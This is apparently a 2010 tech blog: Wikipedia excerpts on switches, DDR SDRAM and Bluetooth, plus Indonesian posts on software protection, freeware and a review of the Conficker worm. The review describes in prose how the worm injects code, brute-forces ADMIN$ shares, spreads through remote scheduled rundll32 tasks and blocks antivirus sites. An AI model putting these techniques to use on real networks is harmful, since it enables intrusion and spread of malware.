In simple terms, in the context of a standard 10/100 Ethernet switch, a switch operates at the data-link layer of the OSI model to create a different collision domain per switch port. This basically says that if you have 4 computers A/B/C/D on 4 switch ports, then A and B can transfer data between them as well as C and D at the same time, and they will never interfere with each others' conversations. That is the basic idea. In the case of a "hub" then they would all have to share the bandwidth, run in half-duplex and there would be collisions and retransmissions. Using a switch is called micro-segmentation - it allows you to have dedicated bandwidth on point to point connections with every computer and to therefore run in full duplex with no collisions.
Role of switches in networks
Network switch is a marketing term rather than a technical one. Switches may operate at one or more OSI layers, including physical, data link, network, or transport (i.e., end-to-end). A device that operates simultaneously at more than one of these layers is called a multilayer switch, although use of the term is diminishing.
In switches intended for commercial use, built-in or modular interfaces make it possible to connect different types of networks, for example Ethernet, Fibre Channel, ATM, and 802.11. This connectivity can be at any of the layers mentioned. While Layer 2 functionality is adequate for speed-shifting within one technology, interconnecting technologies such as Ethernet and token ring are easier at Layer 3.
Interconnection of different Layer 3 networks is done by routers. If there are any features that characterize "Layer-3 switches" as opposed to general-purpose routers, it tends to be that they are optimized, in larger switches, for high-density Ethernet connectivity.
In some service provider and other environments where there is a need for much analysis of network performance and security, switches may be connected between WAN routers as places for analytic modules. Some vendors provide firewall, network intrusion detection and performance analysis modules that can plug into switch ports. Some of these functions may be on combined modules.
In other cases, the switch is used to create a "mirror" image of data that can go to an external device. Since most switch port mirroring provides only one mirrored stream, network hubs can be useful for fanning out data to several read-only analyzers, such as intrusion detection systems and packet sniffers.

DDR SDRAM

2010-02-07T15:48:00.001-08:00

From Wikipedia, the free encyclopedia

DDR SDRAM (double data rate synchronous dynamic random access memory) is a class of memory integrated circuits used in computers. It achieves nearly twice the bandwidth of the preceding [single data rate] SDRAM by double pumping (transferring data on the rising and falling edges of the clock signal) without increasing the clock frequency.
With data being transferred 64 bits at a time, DDR SDRAM gives a transfer rate of (memory bus clock rate) × 2 (for dual rate) × 64 (number of bits transferred) / 8 (number of bits/byte). Thus with a bus frequency of 100 MHz, DDR SDRAM gives a maximum transfer rate of 1600 MB/s.
JEDEC has set standards for data rates of DDR SDRAM, divided into two parts: The first specification is for memory chips and the second is for memory modules. As DDR-SDRAM is superseded by the newer DDR2 SDRAM, the older DDR version is sometimes referred to as DDR1-SDRAM.

Specification standards
[edit] Chips and modules

Generic DDR-266 Memory

Corsair XMS DDR-400 Memory with Heat Spreaders

Standard name Memory clock Cycle time I/O Bus clock Data transfers per second JEDEC standard VDDQ voltage Module name Peak transfer rate
DDR-200 100 MHz 10 ns 100 MHz 200 Million 2.5v +/- 0.2v PC-1600 1600 MB/s
DDR-266 133 MHz 7.5 ns 133 MHz 266 Million 2.5v +/- 0.2v PC-2100 2100 MB/s
DDR-333 166 MHz 6 ns 166 MHz 333 Million 2.5v +/- 0.2v PC-2700 2700 MB/s
DDR-400 200 MHz 5 ns 200 MHz 400 Million 2.6v +/- 0.1v PC-3200 3200 MB/s
Note: All above listed are specified by JEDEC as JESD79.. All RAM data rates in-between or above these listed specifications are not standardized by JEDEC — often they are simply manufacturer optimizations using higher-tolerance or overvolted chips.
The package sizes in which DDR SDRAM is manufactured are also standardized by JEDEC.
There is no architectural difference between DDR SDRAM designed for different clock frequencies, e.g. PC-1600 (designed to run at 100 MHz) and PC-2100 (designed to run at 133 MHz). The number simply designates the data rate that the chip is guaranteed to run at, hence DDR SDRAM can be run at either lower or higher clock rates than those for which it was made. These practices are known as "underclocking" and "overclocking" respectively.
DDR SDRAM for desktop computers DIMMs have 184 pins (as opposed to 168 pins on SDRAM, or 240 pins on DDR2 SDRAM), and can be differentiated from SDRAM DIMMs by the number of notches (DDR SDRAM has one, SDRAM has two). DDR for notebook computers SO-DIMMs have 200 pins which is the same number of pins as DDR2 SO-DIMMs. These two specifications are notched very similarly and care must be taken during insertion when you are unsure of a correct match. DDR SDRAM operates at a voltage of 2.5 V, compared to 3.3 V for SDRAM. This can significantly reduce power consumption. Chips and modules with DDR-400/PC-3200 standard have a nominal voltage of 2.6 Volt.
Many new chipsets use these memory types in dual-channel configurations, which doubles or quadruples the effective bandwidth.
Chip characteristics
DRAM density. Size of the chip in megabits. Example: 256 Mbit — 32 MB chip.
DRAM organization. Written in the form of 64M x 4, where 64M is a number of storage units (64 million), x4 (pronounced «by 4») — number of bits per chip, which equals the number of bits per storage unit. There are x4, x8, and x16 DDR chips. The x4 chips allow the use of advanced error correction features like Chipkill, memory scrubbing and Intel SDDC, while the x8 and x16 chips are somewhat more expensive.
Module characteristics
Capacity
# of DRAM Devices. The number of chips is a multiple of 8 for non-ECC modules and a multiple of 9 for ECC modules. Chips can occupy one side (Single Sided) or both sides (Dual Sided) of the module. The maximum amount of chips per DDR module is 36 (9x4).
# of DRAM ranks (also known as rows or sides). Any given module can have 1, 2 or 4 ranks, but only 1 rank of a module can be active at any moment of time. When a module has two or more ranks, the memory controller must periodically switch between them by performing close and open operations. Do not confuse rows in this context with rows used to describe internal chip architecture (that is why the term rank is to be preferred). The term sides is also confusing because it incorrectly suggests that this is tied to the physical placement of chips on the module.
Timings: CAS Latency (CL), Clock Cycle Time (tCK), Row Cycle Time (tRC), Refresh Row Cycle Time (tRFC), Row Active Time (tRAS).
Buffering: Registered vs. unbuffered
packaging: typically DIMM or SO-DIMM
power consumption: increases with clock rate
Module and chip characteristics are inherently linked.
Total module capacity is a product of one chip's capacity by the number of chips. ECC modules multiply it by 8/9 because they use one bit per byte for error correction. A module of any particular size can therefore be assembled either from 32 small chips (36 for ECC memory), or 16(18) or 8(9) bigger ones.
DDR memory bus width per channel is 64 bits (72 for ECC memory). Total module bit width is a product of bits per chip by number of chips. It also equals number of ranks (rows) multiplied by DDR memory bus width. Consequently a module with greater amount of chips or using x8 chips instead of x4 will have more ranks.

Example: Variations of 1 GB PC2100 Registered DDR SDRAM module with ECC
Module size Number of chips Chip size Chip organization Number of rows (ranks)
1 GB 36 256 Mbit 64M x 4 2
1 GB 18 512 Mbit 64M x 8 2
1 GB 18 512 Mbit 128M x 4 1
This example compares different real-world server memory modules with a common size of 1 GB. One should definitely be careful buying 1 GB memory modules, because all these variations can be sold under one price position without stating whether they are x4 or x8, single or dual ranked.
There is a common belief that number of module rows or ranks equals number of sides. As above data shows, this is not true. One can find (2-side, 1-rank) or (2-side, 4-rank) modules. One can even think of 1-side, 2-rank memory module having 16(18) chips on single side x8 each, but it's unlikely such a module was ever produced.
High Density vs. Low Density
In this context High Density memory means non-ECC 184 pin SDRAM memory.
Organization
PC3200 is DDR SDRAM specified to operate at 200 MHz using DDR-400 chips with a bandwidth of 3,200 MB/s. As DDR stands for Double Data Rate this means that the effective clock rate of PC3200 memory is 400 MHz.
1 GB PC3200 non-ECC modules are usually made with 16 512 Mbits chips, 8 down each side (512 Mbit x 16 chips) / (8 bits (per Byte)) = 1024 MBytes. The individual chips making up a 1 GByte memory module are usually organized with 64M bits and a data width of 8 bits for each chip, commonly expressed as 64M x 8. Memory manufactured in this way is LOW DENSITY RAM and will usually be compatible with any motherboard specifying PC3200 DDR-400 memory.
High Density RAM
In the context of the 1 GB non-ECC PC3200 SDRAM module there is very little visually to differentiate Low Density from High Density RAM. High Density DDR RAM modules will, like their Low Density counterparts, usually be double sided with eight 512 Mb chips per side. The difference is that each chip, instead of being organized in a 64M x 8 configuration is organized with 128M bits and a data width of 4 bits, or 128M x 4. To further confuse the issue, some RAM is labeled as 128M x 8, and is also called high density.
Most High Density PC3200 modules are assembled using Samsung chips. These chips come in both the familiar 22 x 10mm (approx) TSOP2 and smaller squarer 12 x 9mm (approx) FBGA package sizes. High density Samsung chips can be identified by the numbers on each chip. If the sixth and seventh characters are "04" (for example K4H510438D-UCCC) then the chips are x 4 and High Density. If the sixth and seventh characters are "08" then the chips are x 8 and Low Density.
High Density RAM devices were designed to be used in registered memory modules for servers. As a result, Performance or response times may suffer when used on a desktop or workstation. JEDEC standards do not apply to high-density DDR RAM in desktop implementations. JEDEC's technical documentation however supports 128Mb X 4Mb semiconductors as such that contradicts 128X4 being classified as high density. As such "High Density" is a relative term which can be used to describe memory which is not supported by a particular motherboard's memory controller.
Alternatives
DDR (DDR1) has been superseded by DDR2 SDRAM, which has some modifications to allow higher clock frequency, but operates on the same principle as DDR. Competing with DDR2 are Rambus XDR DRAM. DDR2 has become the standard, as XDR is lacking support. DDR3 SDRAM is a new standard that offers even higher performance and new features.
DDR's prefetch buffer depth is 2 bits; DDR2 uses 4 bits. Although the effective clock rates of DDR2 are higher than for DDR, the overall performance was no greater in the early implementations, primarily due to the high latencies of the first DDR2 modules. DDR2 started to be effective by the end of 2004, as modules with lower latencies became available.
Memory manufacturers have stated that it is impractical to mass-produce DDR1 memory with effective clock rates in excess of 400 MHz. DDR2 picks up where DDR1 leaves off, and is available at clock rates of 400 MHz and higher.
RDRAM is a particularly expensive alternative to DDR SDRAM, and most manufacturers have dropped its support from their chipsets.
MDDR
MDDR is an acronym that some enterprises use for Mobile DDR SDRAM, a type of memory used in some portable electronic devices, like mobile phones, handhelds, and digital audio players. While standard DDR SDRAM operates at a voltage of 2.5 V, MDDR operates at voltage of 1.8 V, which allows a reduced power consumption.

Bluetooth

2010-02-07T15:46:00.000-08:00

From Wikipedia, the free encyclopedia

is a wireless protocol for exchanging data over short distances from fixed and mobile devices, creating personal area networks (PANs). It was originally conceived as a wireless alternative to RS232 data cables. It can connect several devices, overcoming problems of synchronization.
Bluetooth uses a radio technology called frequency-hopping spread spectrum, which chops up the data being sent and transmits chunks of it on up to 79 frequencies. In its basic mode, the modulation is Gaussian frequency-shift keying (GFSK). It can achieve a gross data rate of 1 Mb/s. Bluetooth provides a way to connect and exchange information between devices such as mobile phones, telephones, laptops, personal computers, printers, Global Positioning System (GPS) receivers, digital cameras, and video game consoles through a secure, globally unlicensed Industrial, Scientific, and Medical (ISM) 2.4 GHz short-range radio frequency bandwidth. The Bluetooth specifications are developed and licensed by the Bluetooth Special Interest Group (SIG). The Bluetooth SIG consists of companies in the areas of telecommunication, computing, networking, and consumer electronics.

Uses
Bluetooth is a standard and communications protocol primarily designed for low power consumption, with a short range (power-class-dependent: 1 meter, 10 meters, 100 meters) based on low-cost transceiver microchips in each device. Bluetooth makes it possible for these devices to communicate with each other when they are in range. Because the devices use a radio communications system, they do not have to be in line of sight of each other; they can even be far apart if the transmission has sufficient power.

Class Maximum Permitted Power
mW (dBm) Range
(approximate)
Class 1 100 mW (20 dBm) ~100 meters
Class 2 2.5 mW (4 dBm) ~10 meters
Class 3 1 mW (0 dBm) ~1 meter
In most cases the effective range of class 2 devices is extended if they connect to a class 1 transceiver, compared to a pure class 2 network. This is accomplished by the higher sensitivity and transmission power of Class 1 devices.

Version Data Rate
Version 1.2 1 Mbit/s
Version 2.0 + EDR 3 Mbit/s
WiMedia Alliance
(proposed) 53 - 480 Mbit/s
Bluetooth profiles
Main article: Bluetooth profile
In order to use Bluetooth, a device must be compatible with certain Bluetooth profiles. These define the possible applications and uses of the technology.
List of applications

A typical Bluetooth mobile phone headset

Nokia BH-208 headset internals.
More prevalent applications of Bluetooth include:
Wireless control of and communication between a mobile phone and a hands-free headset.This was one of the earliest applications to become popular.
Wireless networking between PCs in a confined space and where little bandwidth is required.
Wireless communication with PC input and output devices, the most common being the mouse, keyboard and printer
Transfer of files between devices with OBEX
Transfer of contact details, calendar appointments, and reminders between devices with OBEX.
Replacement of traditional wired serial communications in test equipment, GPS receivers, medical equipment, bar code scanners, and traffic control devices.
For controls where infrared was traditionally used.
Sending small advertisements from Bluetooth-enabled advertising hoardings to other, discoverable, Bluetooth devices.
Two seventh-generation game consoles, Nintendo's Wii and Sony's PlayStation 3, use Bluetooth for their respective wireless controllers.
Dial-up internet access on personal computers or PDAs using a data-capable mobile phone as a modem.
Bluetooth vs. Wi-Fi in networking
Bluetooth and Wi-Fi have many applications in today's offices, homes, and on the move: setting up networks, printing, or transferring presentations and files from PDAs to computers. Both are versions of unlicensed wireless technology. Wi-Fi differs from Bluetooth in that it provides higher throughput and covers greater distances, but requires more expensive hardware and may present higher power consumption.
They use the same frequency range, but employ different modulation techniques. While Bluetooth is a replacement for cabling in a variety of small-scale applications, Wi-Fi is a replacement for cabling for general local area network access.
Bluetooth devices
Bluetooth exists in many products, such as telephones, the Wii, PlayStation 3 and recently in some high definition watches, modems and headsets. The technology is useful when transferring information between two or more devices that are near each other in low-bandwidth situations. Bluetooth is commonly used to transfer sound data with telephones (i.e. with a Bluetooth headset) or byte data with hand-held computers (transferring files).
Bluetooth protocols simplify the discovery and setup of services between devices. Bluetooth devices can advertise all of the services they provide. This makes using services easier because more of the security, network address and permission configuration can be automated than with many other network types
Wi-Fi
Wi-Fi is more like a traditional Ethernet network, and requires configuration to set up shared resources, transmit files, and to set up audio links (for example, headsets and hands-free devices). Wi-Fi uses the same radio frequencies as Bluetooth, but with higher power resulting in a stronger connection. Wi-Fi is sometimes called "wireless Ethernet." This description is accurate as it also provides an indication of its relative strengths and weaknesses. Wi-Fi requires more setup, but is better suited for operating full-scale networks; it enables a faster connection, better range from the base station, and better security than Bluetooth.

Metode proteksi Software

2010-02-05T17:36:00.002-08:00

Perangkat Lunak (Software) merupakan suatu produk yang sangat rentan untuk dibajak. Para pengembang software harus beradu pintar dengan para pembajak.

Jenis – Jenis Pembajakan
Dari studi tahunan tentang pembajakan software, pada tahun 2008, tingkat pembajakan di Indonesia mencapai 85% yang artinya setiap 10 komputer, 8 komputer menggunakan software bajakan. Kerugian yang diderita developer sekitar $544 juta.

Menurut Microsoft, dalam buku Panduan Lisensi Microsoft, ada 5 macam kategori pembajakan :
1. End user copying , yaitu menggandakan software yang dilakukan oleh indovidu atau pelaku bisnis yang tidak memiliki lisensi untuk menggandakannya. Contoh sederhana jika kita membeli software yang boleh digunakan untuk satu komputer, kita menggandakannya untuk komputer lain.

2. Hard-disk Loading , yaitu ketika sebuah komputer yang dijual kepada pengguna terlebih dahulu diinstall software tidak sah (tanpa lisensi). Kejadian ini hampir terjadi setiap waktu ketika pembeli komputer meminta menginstall program tertentu kepada penjual.

3. Mischanneling Software, yaitu beberapa pengembang software memberikan harga khusus untuk pembelian software berukuran besar.

4. Counterfeiting (Pemalsuan), merupakan penggandakan lunak dalam skala besar, baik media maupun kemasan akan digandakan secara tidak sah untuk kemudia dijual untuk keuntungan pribadi

5. Pembajakan lewat Internet, media Internet untuk menyediakan, menyebarkan software bajakan.

Proteksi terhadap software

1. Proteksi dengan menggunakan Serial Number
Pengguna harus memasukkan Serial Number untuk menggunakan software tersebut, Serial number didapat jika pengguna membelinya lewat online. Serial number bisa sama untuk semua komputer bisa berbeda berdasarkan username. Namun, banyak program-program yang menggunakan proteksi serial number telah menjadi sasaran cracker untuk menciptakan keygen (Key Generator).

2. Time-limited Program
Bentuk Proteksi time-limited akan memastikan bahwa perangkat lunak tidak dapat digunakan setelah masa percobaan habis. Metode ini kurang efektif dikarenakan dapat dijebol dengan mengganti waktunya.

3. Proteksi secara perangkat keras (Istilahnya “Dongle”)
Dalam skema proteksi ini, sebuah perangkat keras dihubungkan dengan port I/O pada komputer. Saat aplikasi dijalankan, program akan mengirimkan I/O tempat dongle berada. Jika program tidak menerima respons apapun, makan program tidak berjalan atau fiturnya dibatasi.
Jenis proteksi yang cukup popular adalah HASP (www.ealaddin.com) dan sentinel (www.rainbow.com)
4. Proteksi menggunakan CD
Cara kerjanya paling sederhana dengan melakukan pengecekan label pada CD. Jika label telah berubah, maka dapat dipastika CD tersebut bukan asli. Beberapa developer mencoba cara yang lebih rumit, yaitu memberi nama CD sehingga menyebabkan error ketika digandakan, misalnya menggunakan blank space atau karakter gak jelas. Hingga saat ini, CD Burner gagal melakukan penggandaan untuk CD jenis ini.
5. Proteksi dengan menggunakan kompresi dan encoding
Melakukan kompresi untuk suatu perangkat lunak adalah suatu cara untuk melindungi perangkat lunak. Keuntungannya adalah bahwa aplikasi harus terlebih dahulu diekstrak sebelum cracker dapat melakukan perubahan didalamnya. Kompresi yang baik tentunya menyulitkan cracker dalam proses penelusuran, saat hendak melakukan aktivitas cracking.
Bagaimana Cracker Melakukan Crack terhadap proteksi perangkat lunak?
Walaupun muncul berbagai metode perlindungdan, namun para cracker hampir selalu berhasil menjebol metode tersebut. Mungkin agak mengejutkan bahwa motivasi cracker bukanlah uang (Hasil crack dibagikan secara gratis). Dikalangan para cracker, itu adalah sebuah kompetisi informal, siapa yang berhasil menjebol software terbaru dan proteksi tersulit dialah yang akan dihargai dan dihormati di komunitas cracker.
Walaupun software tidak didistribusikan dengan source code, namun para cracker menggunakan tools tertentu dapat menjebol proteksi, antara lain :
1. Debugger. Dengan menggunakan Debugger, dimungkinkan untuk melakukan penelusuran terhadap suatu aplikasi, mengeksekusi instruksi satu per satu, dan berhenti pada titik tertentu. Contohnya : Winpdb, GDB, SoftIce.
2. Disassembler. Dapat digunakan untuk menerjemahkan aplikasi menjadi bahasa assembler. Cracker cukup mengerti bahasa assembly untuk menelusuri cara kerja aplikasi dalam melakukan proteksi. Contohnya : PVDasm, OllyDbg, IDA, ILDASM, SIMON, dsb

TrIDNet 1.80

2010-02-05T17:36:00.001-08:00

Semua pengguna komputer awam, pasti pernah mengalami dimana ia menemukan ekstensi file yang asing lalu bertanya ,”File apa ini ???”. Tentunya sekarang sudah tidak perlu bertanya lagi, karena ada software TrIDNet 1.80

Aplikasi ini berbasis GUI sehingga memudahkan mambaca hasil analisa dan lebih user friendly. Untuk dapat mempergunakannya, downloadlah terlebih dulu di :
1. http://mark0.net/download/trid_net.zip
2. http://mark0.net/download/triddefs_xml.rar

Langkah – Langkahnya:
1. File tadi diekstrak kedalam folder tententu
2. Aplikasi ini dapat langsung dijalankan. Lalu, load file triddefs yang telah diekstrak. Caranya, klik tombol browse pada bagian kanan bawah, pada jendela dialog open, arahkan di tempat anda mengekstrak.
Dengan segera, aplikasi ini melakukan scanning file hingga proses selesai.
3. Aplikasi ini siap digunakan , untuk percobaan. Klik browse, dan lakukan seleksi salah satu file yang anda tidak tahu fungsi ekstensinya.
Lalu klik tombol “Analyze!”. Dan anda mendapatkan informasi dari ekstensi tadi.
4. Harap diingat bahwa keberhasilan mendeteksi file jika anda selalu mengupdate file definisi yang terbaru

Ulasan virus : CONFICKER.???

2010-02-05T17:34:00.000-08:00

Jika anda membaca baik-baik judul diatas, apakah yang ada di benak anda? Virus lagi ya...?.. Bukan itu saja, coba lihat judulnya lagi.. CONFICKER.??? , nah, ekstensinya adalah random, jadi anda akan susah melihat virus yang bisa autorename. Nah, ada apa dengan virus ini, simak yuk..

Dynamic Link Library (DLL)
Tidak seperti virus kebanyakan yang kita temui bebentuk EXE, tetapi virus ini berekstensi DLL. Sifatnya yang polymorphic membuatnya sulit ditebak dan lagi berukurannya pun beragam, dan kadang juga sedang terenkripsi UPX atau tidak. Berbagai teknologi canggih memang diusung virus ini mulai dari teknik enkripsi, mengeksploitasi celah OS, proteksi file dan edit registry, API Hooking, hingga teknik automatic updatenya. (Hah, Virus juga update toh...???)

Code Injection
Karena bentuknya DLL, untuk dapat aktif pertama, tentunya membutuhkan rundll32.exe. Saat file iu diload ke memory, virus ini akan memeriksa apakah ia dijalankan rundll32.exe dan mencari tahu dimana netsvcs berada. Setelah ditemukan, sebuah alamat di memory akan dialokasikan, untuk kemudian meng-injectkan kodenya disana. Perintah Loadlibrary lalu akan dipanggil yang berguna untuk meload kode jahat virus yang akhirnya bisa aktif di Windows

Virus Protection
Pada Konputer terinfeksi, sebelumnya ia akan memilih tempat tinggal, apakah di System32, Program Files ??? Entahlah. Data induk di hidden dan diberi attribute system agar tidak mudah dilihat dan dihapus. Sebelumnya, Virus ini juga mengedit registry yang biasanya :
1. Mengunci Folder Options
2. Mengunci Registry Editor
3. Memastikan Virus aktif setiap komputer dinyalakan

Sharing Folder
Saat komputer terinfeksi terhubung ke dalam jaringan, virus ini akan mengecek apakah ada sharing ADMIN$ yang masih terbuka, kalau ketemu ia akan mencari tahu siapa pemilik sharing tersebut, jika ketemu. Tentunya virus itu akan melakukan Brute-Force untuk menjebol password sang pemilik. Dalam tubuh virus ini, memang terlihat kumpulan string yang berisi password umum. Saat berhasil masuk, virus ini akan mengkopikan dirinya pada %share%\ADMIN$\System32\%Random.dll%. Dan agar file tersebut dieksekusi, Virus akan membuat job baru di scheduled task secara remote. Job tersebut berisi perintah “rundll32.exe %random.dll% %parameter%. Parameter ini akan diisikan dengan nama fungsi DLL tersebut dan otomatis akan dijalankan sistem.

“Address Not Found”
Untuk Menjaga Kelangsungan Hidupnya, Virus ini dapat menghapus “System restore point” agar user tidak merestore setting yang diubah oleh virus.
Selain itu, setiap user mengunjungi situs antivirus, selalu ditandai dengan “Address Not Found”. Inilah kelebihan dari virus conficker, yaitu API Hookingnya yang dapat menangani masalah DNS.

Kesimpulan :
Melihat pergerakan Virus ini, tentunya digolongkan berbahaya. Karena jika sudah terinfeksi, semua pintu untuk merestore setting sudah ditutup. Dan juga virus ini berpindah jika kita terhubung ke suatu jaringan.

A Handy Guitar Practicing Tool

2010-02-04T15:28:00.001-08:00

Dunia komputer dapat digunakan untuk melakukan hampir semua hal, tanpa terkecuali untuk urusan musik. Bagi anda yang masih pemula, anda dapat menggunakan aplikasi ini belajar lebih jauh seputar dunia music. Hampir semuanya tersedia pada aplikasi ini, seperti scale, chord, harmony dan masih banyak lagi. Anda tidak lagi memerlukan buku ataupun memanggil seorang guru. Lebih Ekonomis dan praktis

File Size : 1996 KB
Download : www.rollonbody.com

Desktop Central Free Windows Tools 2.3

2010-02-04T15:27:00.001-08:00

Ukuran aplikasi yang satu ini tidak mencapai bilangan 5 MB. Namun, aplikasi ini merupakan gabungan dari berbagai tool-tool penting yang biasa digunakan pada operating system windows. Yang terdapat didalamnya antara lain Wake On LAN Tool, GPO Update Tool, Shutdown/Restart Tool, Software Inventory. Semua aplikasi ini dapat anda gunakan semau hati.

File Size : 3584 KB
Download Link : www.manageengine.com

Software Master 2.0

2010-02-04T15:26:00.002-08:00

Biasanya user cenderung tertarik untuk mencoba software baru. Alangkah baiknya apabila user mempelajari kebutuhan instalasi software sebelum menginstall, untuk menghindari crash, ketidakstabilan sistem, error, memperhitungkan kapasitas PC baik memory RAM dan harddisk. Seringnya melakukan install ataupun uninstall apalikasi dapar mempengaruhi sistem windows. Pastinya proses tersebut akan menyisakan sampah sehingga membebani registry windows.

Windows secara default telah menyediakan fasilitas uninstall software. Dalam kenyataannya, masih ada saja aplikasi yang terinstall pada windows, namun tidak terdeteksi didalamnya. Tentunya akan kesulitan untuk melakukan uninstall, bila aplikasi itu sendiri tidak menyediakan link file eksekusi untuk proses uninstall.

Untuk mengatasinya, cobalah gunakan aplikasi khusus untuk menginstall software, misalnya software master. Aplikasi ini dapat menampilkan keseluruhan aplikasi yang terinstall pada PC, serta memampukan anda untuk melakukan uninstall aplikasi yang sudah tidak diinginkan lagi.
File Size : 404 KB
Download : www.yeahbit.com/products/yeahbitfreetools/softmaster.exe

I-Net 2.3 (Rev. 71)

2010-02-04T15:26:00.001-08:00

Untuk mendapatkan informasi terkait dengan jaringan komputer, antara lain IP address local ataupun public, informai hostname dan lain sebagainya, peru dilakukan diagnostic. Umumnya, diagnostic dilakukan oleh para administrator melalaui command line yang tersedia pada sistem operasi Windows, Linux, Sun dan lain-lain.

Tak heran bila user biasa akan kesulitan untuk dapat menggunakan cara tersbut karena harus memahami struktur command tersebut dengan benar
Untuk memudahkannya, kini telah banyak tersedia aplikasi yang dapat secara GUI (Graphical Unit Interface) menyediakan inputan bagi user untuk menampilkan informasi tersebut.
Anda dapat cepat memperoleh informasi yang dibutuhkan, misalnya informasi user admin, hostname serta IP public, serta dapat secara langsung melakukan ping ke sebuah IP address ataupun hostname, tanpa melalui command line.

File Size : 248 KB
Download : www.ng.aua.gr/inet/inet.zip

RAM Rush

2010-02-04T15:24:00.000-08:00

Penggunaan resource PC yang berlebihan dapat mengakibatkan crash atau hang tiba-tiba, tanpa disadari oleh user. Ada baiknya user peka terhadap gejala awal, misalnya melabatnya proses aplikasi dan not responding pada aplikasi.

Biasanya, ditemui saat penggunaan aplikasi seperti game, animasi 3D, software desain yang memang membutukan RAM yang bagus dan memakan banyak memory komputer. Untuk mengatasi masalah tersebut, perlu adanya utilitas manajemen memory dan optimasi sistem. Salah satu tool yang dapat digunakan adalah RAMRush Portable.

Aplikasi berukuran ringan dan mudah dalam penggunaan, dapat mengefesiensikan penggunaan memory pada sistem windows anda. Memory yang terikat oleh sebuah proses yang sudah tidak lagi menggunakannya dapat dilepaskan sehingga sistem selalu memperolah performa terbaik. Aplikasi ini mencegah terjadinya crash sistem, memory leak dan menjaga komputer.

File Size : 299 KB
Download : www.fcleaner.com/downloads/ramrushportable.zip

Registry Walker 0.1

2010-02-04T15:23:00.001-08:00

Banyak kata modifikasi yang telah terdengar ke telinga kita, tetapi awas, jangan sampai kita salah modifikasi. Ini berlaku juga jika anda ingin memodifikasi registry pada windows. Tak sedikit user yang melakukan modifikasi dengan menggunakan fasilitas banuan dari bebrapa apilikasi yang memang dikhususkan untuk tujuan tersebut. Salah satu aplikasi yang dapat digunakan oleh user Windows dalam melakukan pencarian ataupun modifikasi registry windows adalah registry walker.

Mengapa harus menggunakan tool sedangkan windows sendiri telah menyediakan regedit.exe? Perlu diketahui, regedit.exe memiliki keterbatasan. Keberadaan Registry walker menambahkan fitur yang tidak dimiliki oleh utility standar windows tersebut, seperti melakukan pencarian dengan melibatkan berbagai keys.

Registry walker mampu menyusun proses pencarian menggunakan pola tertentu yang dikenal dengan regular expression. Anda pun dapat melakukan pencarian, dan membuat berbagai modifikasi di waku yang bersamaan dengan menggunakan aplikasi ini. Aplikasi ini diperuntukkan bagi developer dalam me-recoverkerusakan registry, terkait dengan COM development

File Size : 3,7 MB
Download : sourceforge.net/projects/registrywalker

Memunculkan Kembali Posting Lama di Halaman Depan

2010-02-03T22:12:00.000-08:00

Biasanya Bila Seorang berkunjung di satu BLOG, maka yang akan di baca adalah posting yang ada di halaman utama. Jika blog anda adalah blog yang cukup produktif, maka pergantian posting yang berada dihalaman utama akan berlangsung sangat cepat. Maka otomatis posting anda yang terdahulu akan tergeser ke halaman berikutnya. Sayang kan jika poting lama anda tidak terbaca oleh pengunjung blog anda. Ada caranya agar posting lama anda bisa muncul kembali di halaman utama. ika ada salah satu posting anda yang banyak diminati oleh pengunjung, ternyata harus tergeser oleh posting yang baru, dan tidak terbaca lagi, maka posting tersebut akan terasa sia-sia.aranya sebenarnya sangat simpel. Tapi mungkin anda tidak menyadari sebelumnya.

1. Masuk ke: Dashboard>Edit Posting.
2. Pilih posting lama yang akan anda tampilkan kembali ke halaman utama.
3. Klick: "Edit".
4. Pada Edit Posting, di bagian kiri bawah, click "Post Options".

5. Ganti tanggal posting tersebut, ke tanggal posting yang paling baru
6. Publish post.
7. View Blog
Maka anda akan melihat posting lama anda akan kembali di halaman utama.
Begitu juga sebaliknya. Jika anda ingin menyembunyikan posting terbaru ke halaman sebelumnya, lakukanlah langkah yang sama.

Karena blogger secara default akan menampilkan postingan dengan tanggal terbaru di frontpage. maka anda tinggal edit saja

CRPoint 0.0.6.65 Software Registry Backup

2010-02-03T22:06:00.000-08:00

Kerusakan pada sistem operasi Windows dapat terjadi kapan saja, apalagi setelah/sedang terserang oleh virus. Oleh karena itu, kita memerlukan suatu tindakan antisipasi, yaitu backup –baik itu backup data yang tersimpan maupun konfigurasi sistem.
Bagi anda pengguna sistem windows, pastinya tidak asing lagi mendengar system restore. Fasilitas ini merupakan bawaan dari windows yang dapat digunakan untuk membackup/mengembalikan semua konfigurasi windows. Tanpa perlu instalasi(karena emang udah bawaan) kita dapat menggunakannya. Penggunakan system resotre melalui user interface yang disediakan secara default akan melalui beberapa dialog pilihan. Selain memonitor system anda, system restore pun dalam prosesnya akan tidak sedikit memanfaatkan ruang harddisk untuk penyimpanan backup.
Tentunya selalu ada cara cepat untuk memanfaatkan fasilitas tersebut melalui penggunakan aplikasi tertentu yang dikenal CR-Point. Aplikasi ini memanfaatkan option cmd Wndows untuk mempersingkat tahapan system restore.

Download : www.rizonetech.com/?download=crpoint00665.zip

Debut Video Capture Software

2010-02-03T22:02:00.000-08:00

Aplikasi ini dapat digunakan untuk melakukan perekaman video yang berasal dari webcam dan desktop PC sehingga dapat digunakan untuk membuat video tutorial maupun mengabadikan event tertentu.

Format file yang disimpan oleh aplikasi ini dapat dipilih sesuai keinginan, diantaranya avi, mwv, flv, asf, mpg, 3gp, mp4, mov dan mengambil screenshot dan disimpan kedalam bentuk jpg.

Aplikasi ini juga mampu melakukan perekaman pada waktu dan periode tertentu yang telah ditentukan. Secara otomatis, aplikasi ini mampu mendeteksi kamera yang terhubung ke PC, serta kompatibel dengan broadcam streaming video server untuk mendistribusikan hasil rekaman anda. Tentunya, keberadaan software ini menguntungkan bagi anda yang ingin membuat sebuah tutorial how to, dan dapat memanfaatkannya dengan mudah dan gratis.

Download : www.nchsoftware.com/capture/debutsetup.exe

Organize Your Computer With a Computer Stand

2010-01-30T17:42:00.001-08:00

Computer stands are a great tool to help use computers in the most efficient way possible. By providing ways to set up computers in a more vertical manner, they free up space and allow for easier computer access. These stands are specially designed for computers of all sizes and can be used with laptops as well. Their utility of is especially evident to people who need to move and access their computers more often as well as those who need every square inch of working space they can conjure up.

Computer stands are available in a wide range of colors and materials such as powder coated finished metal stands, plastic and even a great looking range of wood stands. One should be able to find a computer stand for every home or office regardless of the requirements. When chosen properly, they can add style and décor as well.

Businesses and families are constantly growing and space comes at a premium. When it comes to making space by accommodating computer systems in the office and homes, the best solution is computer stands. With computer stands, the computer can expand vertically, and the stand itself often offers storage space.

